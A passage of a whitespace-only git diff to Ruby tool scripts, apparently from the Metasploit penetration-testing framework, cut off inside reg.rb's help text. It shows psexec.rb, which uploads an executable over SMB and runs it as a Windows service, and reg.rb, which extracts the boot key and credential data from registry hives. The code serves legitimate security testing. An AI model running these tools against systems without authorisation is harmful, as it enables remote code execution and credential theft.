msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -26,8 +26,8 @@ Indent = ' ' # Initialize the simplified framework instance. $framework = Msf::Simple::Framework.create( - :module_types => [ Msf::MODULE_PAYLOAD ], - 'DisableDatabase' => true + :module_types => [ Msf::MODULE_PAYLOAD ], + 'DisableDatabase' => true ) # Process special var/val pairs... @@ -36,47 +36,47 @@ Msf::Ui::Common.process_cli_arguments($framework, ARGV) options = ARGV.join(',') tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Payload Lengths', - 'Indent' => Indent.length, - 'Columns' => [ 'Payload', 'Length' ] + 'Header' => 'Payload Lengths', + 'Indent' => Indent.length, + 'Columns' => [ 'Payload', 'Length' ] ) enc = nil $framework.payloads.each_module { |payload_name, mod| - len = 'Error: Unknown error!' + len = 'Error: Unknown error!' - begin - # Create the payload instance - payload = mod.new - raise "Invalid payload" if not payload + begin + # Create the payload instance + payload = mod.new + raise "Invalid payload" if not payload - # Set the variables from the cmd line - payload.datastore.import_options_from_s(options) + # Set the variables from the cmd line + payload.datastore.import_options_from_s(options) - # Skip non-specified architectures - if (ds_arch = payload.datastore['ARCH']) - next if not payload.arch?(ds_arch) - end + # Skip non-specified architectures + if (ds_arch = payload.datastore['ARCH']) + next if not payload.arch?(ds_arch) + end - # Skip non-specified platforms - if (ds_plat = payload.datastore['PLATFORM']) - ds_plat = Msf::Module::PlatformList.transform(ds_plat) - next if not payload.platform.supports?(ds_plat) - end + # Skip non-specified platforms + if (ds_plat = payload.datastore['PLATFORM']) + ds_plat = Msf::Module::PlatformList.transform(ds_plat) + next if not payload.platform.supports?(ds_plat) + end - len = payload.size - if len > 0 - len = len.to_s - else - len = "Error: Empty payload" - end - rescue - len = "Error: #{$!}" - end + len = payload.size + if len > 0 + len = len.to_s + else + len = "Error: Empty payload" + end + rescue + len = "Error: #{$!}" + end - tbl << [ payload_name, len ] + tbl << [ payload_name, len ] } puts tbl.to_s diff --git a/tools/pdf2xdp.rb b/tools/pdf2xdp.rb index 514ad98d19..4428c17c6b 100755 --- a/tools/pdf2xdp.rb +++ b/tools/pdf2xdp.rb @@ -13,22 +13,22 @@ pdf = ARGV.shift xdp = ARGV.shift if ! xdp then - STDERR.puts " Usage: #{$0} input.pdf output.xdp" - exit 1 + STDERR.puts " Usage: #{$0} input.pdf output.xdp" + exit 1 end pdf_content = begin - File.read(pdf) + File.read(pdf) rescue - STDERR.puts "Could not read input PDF file: #{$!}" - exit 2 + STDERR.puts "Could not read input PDF file: #{$!}" + exit 2 end xdp_out = begin - open xdp, 'w' + open xdp, 'w' rescue - STDERR.puts "Could not open output XDP file: #{$!}" - exit 3 + STDERR.puts "Could not open output XDP file: #{$!}" + exit 3 end xdp_out.print '<?xml version="1.0"?><?xfa ?><xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"><pdf xmlns="http://ns.adobe.com/xdp/pdf/"><document><chunk>' diff --git a/tools/psexec.rb b/tools/psexec.rb index b5e1bec8be..1e6d152d91 100755 --- a/tools/psexec.rb +++ b/tools/psexec.rb @@ -6,7 +6,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -39,51 +39,51 @@ NDR = Rex::Encoder::NDR def print_error(msg) - $stderr.puts "[-] #{msg}" + $stderr.puts "[-] #{msg}" end def print_status(msg) - $stderr.puts "[+] #{msg}" + $stderr.puts "[+] #{msg}" end def print_lines(msg) - $stderr.puts "[+] #{msg}" + $stderr.puts "[+] #{msg}" end def usage - $stderr.puts "#{$0} [host] [exe] [user] [pass]" - exit(0) + $stderr.puts "#{$0} [host] [exe] [user] [pass]" + exit(0) end def dcerpc_handle(uuid, version, protocol, opts, rhost) - Rex::Proto::DCERPC::Handle.new([uuid, version], protocol, rhost, opts) + Rex::Proto::DCERPC::Handle.new([uuid, version], protocol, rhost, opts) end def dcerpc_bind(handle, csocket, csimple, cuser, cpass) - opts = { } - opts['connect_timeout'] = 10 - opts['read_timeout'] = 10 - opts['smb_user'] = cuser - opts['smb_pass'] = cpass - opts['frag_size'] = 512 - opts['smb_client'] = csimple - - Rex::Proto::DCERPC::Client.new(handle, csocket, opts) - end + opts = { } + opts['connect_timeout'] = 10 + opts['read_timeout'] = 10 + opts['smb_user'] = cuser + opts['smb_pass'] = cpass + opts['frag_size'] = 512 + opts['smb_client'] = csimple + + Rex::Proto::DCERPC::Client.new(handle, csocket, opts) + end def dcerpc_call(function, stub = '', timeout=nil, do_recv=true) - otimeout = dcerpc.options['read_timeout'] + otimeout = dcerpc.options['read_timeout'] - begin - dcerpc.options['read_timeout'] = timeout if timeout - dcerpc.call(function, stub, do_recv) - rescue ::Rex::Proto::SMB::Exceptions::NoReply, Rex::Proto::DCERPC::Exceptions::NoResponse - print_status("The DCERPC service did not reply to our request") - return - ensure - dcerpc.options['read_timeout'] = otimeout - end + begin + dcerpc.options['read_timeout'] = timeout if timeout + dcerpc.call(function, stub, do_recv) + rescue ::Rex::Proto::SMB::Exceptions::NoReply, Rex::Proto::DCERPC::Exceptions::NoResponse + print_status("The DCERPC service did not reply to our request") + return + ensure + dcerpc.options['read_timeout'] = otimeout + end end @@ -104,35 +104,35 @@ socket = Rex::Socket.create_tcp({ 'PeerHost' => opt_host, 'PeerPort' => opt_port simple = Rex::Proto::SMB::SimpleClient.new(socket, opt_port.to_i == 445) simple.login( - Rex::Text.rand_text_alpha(8), - opt_user, - opt_pass, - opt_domain - #datastore['SMB::VerifySignature'], - #datastore['NTLM::UseNTLMv2'], - #datastore['NTLM::UseNTLM2_session'], - #datastore['NTLM::SendLM'], - #datastore['NTLM::UseLMKey'], - #datastore['NTLM::SendNTLM'], - #datastore['SMB::Native_OS'], - #datastore['SMB::Native_LM'], - #{:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} + Rex::Text.rand_text_alpha(8), + opt_user, + opt_pass, + opt_domain + #datastore['SMB::VerifySignature'], + #datastore['NTLM::UseNTLMv2'], + #datastore['NTLM::UseNTLM2_session'], + #datastore['NTLM::SendLM'], + #datastore['NTLM::UseLMKey'], + #datastore['NTLM::SendNTLM'], + #datastore['SMB::Native_OS'], + #datastore['SMB::Native_LM'], + #{:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} ) simple.connect("\\\\#{opt_host}\\IPC$") if (not simple.client.auth_user) - print_line(" ") - print_error( - "FAILED! The remote host has only provided us with Guest privileges. " + - "Please make sure that the correct username and password have been provided. " + - "Windows XP systems that are not part of a domain will only provide Guest privileges " + - "to network logins by default." - ) - print_line(" ") - exit(1) + print_line(" ") + print_error( + "FAILED! The remote host has only provided us with Guest privileges. " + + "Please make sure that the correct username and password have been provided. " + + "Windows XP systems that are not part of a domain will only provide Guest privileges " + + "to network logins by default." + ) + print_line(" ") + exit(1) end - + fname = Rex::Text.rand_text_alpha(8) + ".exe" sname = Rex::Text.rand_text_alpha(8) @@ -146,7 +146,7 @@ simple.connect(opt_share) fd = simple.open("\\#{fname}", 'rwct', 500) File.open(opt_path, "rb") do |efd| - fd << efd.read + fd << efd.read end fd.close @@ -172,17 +172,17 @@ print_status("Bound to #{handle} ...") print_status("Obtaining a service manager handle...") scm_handle = nil stubdata = - NDR.uwstring("\\\\#{opt_host}") + - NDR.long(0) + - NDR.long(0xF003F) + NDR.uwstring("\\\\#{opt_host}") + + NDR.long(0) + + NDR.long(0xF003F) begin - response = dcerpc.call(0x0f, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - scm_handle = dcerpc.last_response.stub_data[0,20] - end + response = dcerpc.call(0x0f, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + scm_handle = dcerpc.last_response.stub_data[0,20] + end rescue ::Exception => e - print_error("Error: #{e}") - return + print_error("Error: #{e}") + return end @@ -198,31 +198,31 @@ svc_status = nil print_status("Creating a new service (#{sname} - \"#{displayname}\")...") stubdata = - scm_handle + - NDR.wstring(sname) + - NDR.uwstring(displayname) + + scm_handle + + NDR.wstring(sname) + + NDR.uwstring(displayname) + - NDR.long(0x0F01FF) + # Access: MAX - NDR.long(0x00000110) + # Type: Interactive, Own process - NDR.long(0x00000003) + # Start: Demand - NDR.long(0x00000000) + # Errors: Ignore - NDR.wstring( file_location ) + # Binary Path - NDR.long(0) + # LoadOrderGroup - NDR.long(0) + # Dependencies - NDR.long(0) + # Service Start - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) # Password + NDR.long(0x0F01FF) + # Access: MAX + NDR.long(0x00000110) + # Type: Interactive, Own process + NDR.long(0x00000003) + # Start: Demand + NDR.long(0x00000000) + # Errors: Ignore + NDR.wstring( file_location ) + # Binary Path + NDR.long(0) + # LoadOrderGroup + NDR.long(0) + # Dependencies + NDR.long(0) + # Service Start + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) # Password begin - response = dcerpc.call(0x0c, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - svc_handle = dcerpc.last_response.stub_data[0,20] - svc_status = dcerpc.last_response.stub_data[24,4] - end + response = dcerpc.call(0x0c, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + svc_handle = dcerpc.last_response.stub_data[0,20] + svc_status = dcerpc.last_response.stub_data[24,4] + end rescue ::Exception => e - print_error("Error: #{e}") - exit(1) + print_error("Error: #{e}") + exit(1) end ## @@ -230,7 +230,7 @@ end ## print_status("Closing service handle...") begin - response = dcerpc.call(0x0, svc_handle) + response = dcerpc.call(0x0, svc_handle) rescue ::Exception end @@ -239,18 +239,18 @@ end ## print_status("Opening service...") begin - stubdata = - scm_handle + - NDR.wstring(sname) + - NDR.long(0xF01FF) + stubdata = + scm_handle + + NDR.wstring(sname) + + NDR.long(0xF01FF) - response = dcerpc.call(0x10, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - svc_handle = dcerpc.last_response.stub_data[0,20] - end + response = dcerpc.call(0x10, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + svc_handle = dcerpc.last_response.stub_data[0,20] + end rescue ::Exception => e - print_error("Error: #{e}") - exit(1) + print_error("Error: #{e}") + exit(1) end ## @@ -258,14 +258,14 @@ end ## print_status("Starting the service...") stubdata = - svc_handle + - NDR.long(0) + - NDR.long(0) + svc_handle + + NDR.long(0) + + NDR.long(0) begin - response = dcerpc.call(0x13, stubdata) + response = dcerpc.call(0x13, stubdata) rescue ::Exception => e - print_error("Error: #{e}") - exit(1) + print_error("Error: #{e}") + exit(1) end # @@ -274,11 +274,11 @@ end print_status("Removing the service...") stubdata = svc_handle begin - response = dcerpc.call(0x02, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - end + response = dcerpc.call(0x02, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + end rescue ::Exception => e - print_error("Error: #{e}") + print_error("Error: #{e}") end ## @@ -286,19 +286,19 @@ end ## print_status("Closing service handle...") begin - response = dcerpc.call(0x0, svc_handle) + response = dcerpc.call(0x0, svc_handle) rescue ::Exception => e - print_error("Error: #{e}") + print_error("Error: #{e}") end begin - print_status("Deleting \\#{fname}...") - select(nil, nil, nil, 1.0) - simple.connect(smbshare) - simple.delete("\\#{fname}") + print_status("Deleting \\#{fname}...") + select(nil, nil, nil, 1.0) + simple.connect(smbshare) + simple.delete("\\#{fname}") rescue ::Interrupt - raise $! + raise $! rescue ::Exception - #raise $! + #raise $! end diff --git a/tools/reg.rb b/tools/reg.rb index ae53f0fc54..63880edd5d 100755 --- a/tools/reg.rb +++ b/tools/reg.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -23,96 +23,96 @@ require 'msf/ui' require 'rex/registry/hive' def print_all(nodekey) - print_all_keys(nodekey) - print_all_values(nodekey) + print_all_keys(nodekey) + print_all_values(nodekey) end def print_all_keys(nodekey) - return if !nodekey - return if !nodekey.lf_record - return if !nodekey.lf_record.children - return if nodekey.lf_record.children.length == 0 + return if !nodekey + return if !nodekey.lf_record + return if !nodekey.lf_record.children + return if nodekey.lf_record.children.length == 0 table = Rex::Ui::Text::Table.new( - 'Header' => "Child Keys for #{nodekey.full_path}", - 'Indent' => ' '.length, - 'Columns' => [ 'Name', 'Last Edited', 'Subkey Count', 'Value Count' ] - ) + 'Header' => "Child Keys for #{nodekey.full_path}", + 'Indent' => ' '.length, + 'Columns' => [ 'Name', 'Last Edited', 'Subkey Count', 'Value Count' ] + ) - if nodekey.lf_record && nodekey.lf_record.children && nodekey.lf_record.children.length > 0 - nodekey.lf_record.children.each do |key| - table << [key.name, key.readable_timestamp, key.subkeys_count, key.value_count] - end - end + if nodekey.lf_record && nodekey.lf_record.children && nodekey.lf_record.children.length > 0 + nodekey.lf_record.children.each do |key| + table << [key.name, key.readable_timestamp, key.subkeys_count, key.value_count] + end + end - puts table.to_s - end + puts table.to_s + end - def print_all_values(nodekey) + def print_all_values(nodekey) - return if !nodekey - return if !nodekey.lf_record - return if !nodekey.lf_record.children - return if nodekey.lf_record.children.length == 0 + return if !nodekey + return if !nodekey.lf_record + return if !nodekey.lf_record.children + return if nodekey.lf_record.children.length == 0 - table = Rex::Ui::Text::Table.new( - 'Header' => "Values in key #{nodekey.full_path}", - 'Indent' => ' '.length, - 'Columns' => ['Name','Value Type', 'Value'] - ) - if nodekey.value_list && nodekey.value_list.values.length > 0 - nodekey.value_list.values.each do |value| - table << [value.name, value.readable_value_type, value.value.data] - end - end + table = Rex::Ui::Text::Table.new( + 'Header' => "Values in key #{nodekey.full_path}", + 'Indent' => ' '.length, + 'Columns' => ['Name','Value Type', 'Value'] + ) + if nodekey.value_list && nodekey.value_list.values.length > 0 + nodekey.value_list.values.each do |value| + table << [value.name, value.readable_value_type, value.value.data] + end + end - puts table.to_s + puts table.to_s end def get_system_information - if @hive.hive_name =~ /SYSTEM/ - mounted_devices_info_key = @hive.relative_query("\\MountedDevices") + if @hive.hive_name =~ /SYSTEM/ + mounted_devices_info_key = @hive.relative_query("\\MountedDevices") - current_control_set_key = @hive.value_query('\Select\Default') - current_control_set = "ControlSet00" + current_control_set_key.value.data.unpack('c').first.to_s if current_control_set_key + current_control_set_key = @hive.value_query('\Select\Default') + current_control_set = "ControlSet00" + current_control_set_key.value.data.unpack('c').first.to_s if current_control_set_key - computer_name_key = @hive.value_query("\\" + current_control_set + "\\Control\\ComputerName\\ComputerName") if current_control_set - computer_name = computer_name_key.value.data.to_s if computer_name_key + computer_name_key = @hive.value_query("\\" + current_control_set + "\\Control\\ComputerName\\ComputerName") if current_control_set + computer_name = computer_name_key.value.data.to_s if computer_name_key - event_log_info_key = @hive.relative_query("\\" + current_control_set + "\\Services\\EventLog") if current_control_set + event_log_info_key = @hive.relative_query("\\" + current_control_set + "\\Services\\EventLog") if current_control_set - puts "Computer Name: " + computer_name if computer_name + puts "Computer Name: " + computer_name if computer_name - print_all_values(event_log_info_key) if event_log_info_key - puts "-----------------------------------------" if event_log_info_key + print_all_values(event_log_info_key) if event_log_info_key + puts "-----------------------------------------" if event_log_info_key - print_all_values(mounted_devices_info_key) if mounted_devices_info_key - puts "-----------------------------------------" if mounted_devices_info_key + print_all_values(mounted_devices_info_key) if mounted_devices_info_key + puts "-----------------------------------------" if mounted_devices_info_key - elsif @hive.hive_name =~ /SOFTWARE/ - current_version_info_key = @hive.relative_query("\\Microsoft\\Windows NT\\CurrentVersion") - login_info_key = @hive.relative_query("\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon") + elsif @hive.hive_name =~ /SOFTWARE/ + current_version_info_key = @hive.relative_query("\\Microsoft\\Windows NT\\CurrentVersion") + login_info_key = @hive.relative_query("\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon") - print_all_values(current_version_info_key) - puts "-----------------------------------------" if current_version_info_key + print_all_values(current_version_info_key) + puts "-----------------------------------------" if current_version_info_key - print_all_values(login_info_key) - puts "-----------------------------------------" if login_info_key - end + print_all_values(login_info_key) + puts "-----------------------------------------" if login_info_key + end end def get_user_information - local_groups_info_key = @hive.relative_query("\\SAM\\Domains\\Builtin\\Aliases\\Names") - local_users_info_key = @hive.relative_query("\\SAM\\Domains\\Account\\Users\\Names") + local_groups_info_key = @hive.relative_query("\\SAM\\Domains\\Builtin\\Aliases\\Names") + local_users_info_key = @hive.relative_query("\\SAM\\Domains\\Account\\Users\\Names") - print_all(local_groups_info_key) - puts "------------------------------------------------" if local_groups_info_key && local_groups_info_key.lf_record.children + print_all(local_groups_info_key) + puts "------------------------------------------------" if local_groups_info_key && local_groups_info_key.lf_record.children - print_all(local_users_info_key) - puts "------------------------------------------------" if local_users_info_key && local_groups_info_key.lf_record.children + print_all(local_users_info_key) + puts "------------------------------------------------" if local_users_info_key && local_groups_info_key.lf_record.children end def dump_creds @@ -120,45 +120,45 @@ end def get_boot_key - return if !@hive.root_key - return if !@hive.root_key.name + return if !@hive.root_key + return if !@hive.root_key.name - puts "Getting boot key" - puts "Root key: " + @hive.root_key.name + puts "Getting boot key" + puts "Root key: " + @hive.root_key.name - default_control_set = @hive.value_query('\Select\Default').value.data.unpack("c").first + default_control_set = @hive.value_query('\Select\Default').value.data.unpack("c").first - puts "Default ControlSet: ControlSet00#{default_control_set}" + puts "Default ControlSet: ControlSet00#{default_control_set}" - bootkey = "" - basekey = "\\ControlSet00#{default_control_set}\\Control\\Lsa" + bootkey = "" + basekey = "\\ControlSet00#{default_control_set}\\Control\\Lsa" - %W{JD Skew1 GBG Data}.each do |k| - ok = @hive.relative_query(basekey + "\\" + k) - return nil if not ok + %W{JD Skew1 GBG Data}.each do |k| + ok = @hive.relative_query(basekey + "\\" + k) + return nil if not ok - tmp = "" - 0.upto(ok.class_name_length - 1) do |i| - next if i%2 == 1 + tmp = "" + 0.upto(ok.class_name_length - 1) do |i| + next if i%2 == 1 - tmp << ok.class_name_data[i,1] - end + tmp << ok.class_name_data[i,1] + end - bootkey << [tmp.to_i(16)].pack('V') - end + bootkey << [tmp.to_i(16)].pack('V') + end - keybytes = bootkey.unpack("C*") + keybytes = bootkey.unpack("C*") - descrambled = "" - # descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ] - descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ] + descrambled = "" + # descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ] + descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ] - 0.upto(keybytes.length-1) do |x| - descrambled << [ keybytes[ descrambler[x] ] ].pack("C") - end + 0.upto(keybytes.length-1) do |x| + descrambled << [ keybytes[ descrambler[x] ] ].pack("C") + end - puts descrambled.unpack("H*") + puts descrambled.unpack("H*") end def list_applications @@ -169,108 +169,108 @@ end def get_aol_instant_messenger_information - if @hive.hive_name != /NTUSER\.dat/i - users_list_key = @hive.relative_query('\Software\America Online\AOL Instant Messenger(TM)\CurrentVersion\Users') - last_logged_in_user_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Login - Screen Name") + if @hive.hive_name != /NTUSER\.dat/i + users_list_key = @hive.relative_query('\Software\America Online\AOL Instant Messenger(TM)\CurrentVersion\Users') + last_logged_in_user_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Login - Screen Name") - print_all_keys(users_list_key) + print_all_keys(users_list_key) - users_list_key.lf_record.children.each do |screenname| - away_messages_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\IAmGoneList") - file_xfer_settings_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\Xfer") - profile_info_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\DirEntry") - recent_contacts_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\Recent IM ScreenNames") + users_list_key.lf_record.children.each do |screenname| + away_messages_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\IAmGoneList") + file_xfer_settings_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\Xfer") + profile_info_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\DirEntry") + recent_contacts_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\Recent IM ScreenNames") - print_all(away_messages_key) - print_all(file_xfer_settings_key) - print_all(profile_info_key) - print_all(recent_contacts_key) - end + print_all(away_messages_key) + print_all(file_xfer_settings_key) + print_all(profile_info_key) + print_all(recent_contacts_key) + end - end + end end def get_msn_messenger_information - if @hive.hive_name =~ /NTUSER\.dat/i - general_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NETMessengerService\\") - file_sharing_information_key = @hive.relative_query("\\Software\\Microsoft\\MSNMessenger\\FileSharing - Autoshare") - file_transfers_information_key = @hive.relative_query("\\Software\\Microsoft\\MSNMessenger\\ - FTReceiveFolder") + if @hive.hive_name =~ /NTUSER\.dat/i + general_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NETMessengerService\\") + file_sharing_information_key = @hive.relative_query("\\Software\\Microsoft\\MSNMessenger\\FileSharing - Autoshare") + file_transfers_information_key = @hive.relative_query("\\Software\\Microsoft\\MSNMessenger\\ - FTReceiveFolder") - print_all(general_information_key) - print_all(file_sharing_information_key) - print_all(file_transfers_information_key) - end + print_all(general_information_key) + print_all(file_sharing_information_key) + print_all(file_transfers_information_key) + end end def get_windows_messenger_information - if @hive.hive_name =~ /NTUSER\.dat/i - contact_list_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NET Messenger Service") - file_transfers_information_key = @hive.relative_query("\\Software\\Microsoft\\Messenger Service - FtReceiveFolder") - last_user_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NET Messenger Service - IdentityName") + if @hive.hive_name =~ /NTUSER\.dat/i + contact_list_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NET Messenger Service") + file_transfers_information_key = @hive.relative_query("\\Software\\Microsoft\\Messenger Service - FtReceiveFolder") + last_user_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NET Messenger Service - IdentityName") - print_all(contact_list_information_key) - print_all(file_transfers_information_key) - print_all(last_user_information_key) - end + print_all(contact_list_information_key) + print_all(file_transfers_information_key) + print_all(last_user_information_key) + end end def get_icq_information - if @hive.hive_name =~ /NTUSER\.dat/i - general_information_key = @hive.relative_query("\\Software\\Mirabalis\\ICQ") + if @hive.hive_name =~ /NTUSER\.dat/i + general_information_key = @hive.relative_query("\\Software\\Mirabalis\\ICQ") - print_all(general_information_key) - elsif @hive.hive_name =~ /SOFTWARE/ - owner_number_key = @hive.relative_query("\\Software\\Mirabalis\\ICQ\\Owner") - print_all(owner_number_key) - end + print_all(general_information_key) + elsif @hive.hive_name =~ /SOFTWARE/ + owner_number_key = @hive.relative_query("\\Software\\Mirabalis\\ICQ\\Owner") + print_all(owner_number_key) + end end def get_ie_information - if @hive.hive_name =~ /NTUSER\.dat/i - stored_logon_information_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider\\SID\\Internet Explorer\\Internet Explorer - URL:StringData") - stored_search_terms_information_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage SystemProvider\\SID\\Internet Explorer\\Internet Explorer - q:SearchIndex") - ie_setting_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Main") - history_length_value_key = @hive.value_query("\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\URL History - DaysToKeep") - typed_urls_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Typed URLs") - intelliforms_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Intelliforms") - autocomplete_web_addresses_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider") - default_download_dir = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer") + if @hive.hive_name =~ /NTUSER\.dat/i + stored_logon_information_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider\\SID\\Internet Explorer\\Internet Explorer - URL:StringData") + stored_search_terms_information_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage SystemProvider\\SID\\Internet Explorer\\Internet Explorer - q:SearchIndex") + ie_setting_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Main") + history_length_value_key = @hive.value_query("\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\URL History - DaysToKeep") + typed_urls_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Typed URLs") + intelliforms_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Intelliforms") + autocomplete_web_addresses_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider") + default_download_dir = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer") - print_all(stored_logon_information_key) - print_all(stored_search_terms_information_key) - print_all(ie_setting_information_key) - print_all(typed_urls_information_key) - print_all(intelliforms_information_key) - print_all(autocomplete_web_addresses_key) - print_all(default_download_dir) + print_all(stored_logon_information_key) + print_all(stored_search_terms_information_key) + print_all(ie_setting_information_key) + print_all(typed_urls_information_key) + print_all(intelliforms_information_key) + print_all(autocomplete_web_addresses_key) + print_all(default_download_dir) - puts "Days saved in history: " + history_length_value_key.value.data.to_s if !history_length_value_key.kind_of? Array - end + puts "Days saved in history: " + history_length_value_key.value.data.to_s if !history_length_value_key.kind_of? Array + end end def get_outlook_information - if @hive.hive_name =~ /NTUSER\.dat/i - account_information_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider\\SID\\Identification\\INETCOMM Server Passwords") + if @hive.hive_name =~ /NTUSER\.dat/i + account_information_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider\\SID\\Identification\\INETCOMM Server Passwords") - print_all(account_information_key) - end + print_all(account_information_key) + end end def get_yahoo_messenger_information - if @hive.hive_name =~ /NTUSER\.dat/i - profiles_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles") + if @hive.hive_name =~ /NTUSER\.dat/i + profiles_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles") - print_all(profiles_key) + print_all(profiles_key) - profiles_key.lf_record.children.each do |child| - file_transfers_information_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles\\#{child.name}\\FileTransfer") - message_archiving_information_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles\\#{child.name}\\Archive") + profiles_key.lf_record.children.each do |child| + file_transfers_information_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles\\#{child.name}\\FileTransfer") + message_archiving_information_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles\\#{child.name}\\Archive") - print_all(file_transfers_information_key) - print_all(message_archiving_information_key) - end - end + print_all(file_transfers_information_key) + print_all(message_archiving_information_key) + end + end end def get_networking_information @@ -281,261 +281,261 @@ def get_user_application_information end if ARGV.length == 0 || ARGV[0] == "help" - no_args = %Q{ + no_args = %Q{ Usage: reg.rb <command> <opts> <hivepath> Available commands: - query_key Query for more information about a specific node key - query_value Query for the value of a specific value key - get_boot_key Extract the boot key from the SYSTEM hive - dump_creds Dump the usernames and password hashes of the users from the SAM hive - list_applications List all the applications installed via the SOFTWARE hive - list_drivers List all the devices and their respective drivers and driver versions from SYSTEM hive - get_everything When pointed to a directory with hives, it will run all commands on all available hives - get_aol_instant_messenger_information Get credentials and general information on AOL Instant Messenger users from NTUSER.dat - get_msn_messenger_information Get credentials and general information on MSN Messenger users from NTUSER.dat - get_windows_messenger_information Get credentials and general information on Windows Messenger users from NTUSER.dat - get_icq_information Get credentials and general information on ICQ users from NTUSER.dat - get_ie_information Get stored credentials, typed history, search terms, and general settings from NTUSER.dat - get_outlook_information Gets outlook and outlook express stored credentials and general information from NTUSER.dat - get_yahoo_messenger_information Gets credentials and general information on Yahoo! Messenger users from NTUSER.dat - get_system_information Gets general system administration from both SOFTWARE and SYSTEM hives - get_networking_information Gets networing information from the SAM, SYSTEM, and NTUSER.dat hives - get_user_information Gets general user information from the SYSTEM, SECURITY, SAM, and NTUSER.dat hives - get_user_application_information Gets user-specific application information from the NTUSER.DAT and SOFTWARE hives - } + query_key Query for more information about a specific node key + query_value Query for the value of a specific value key + get_boot_key 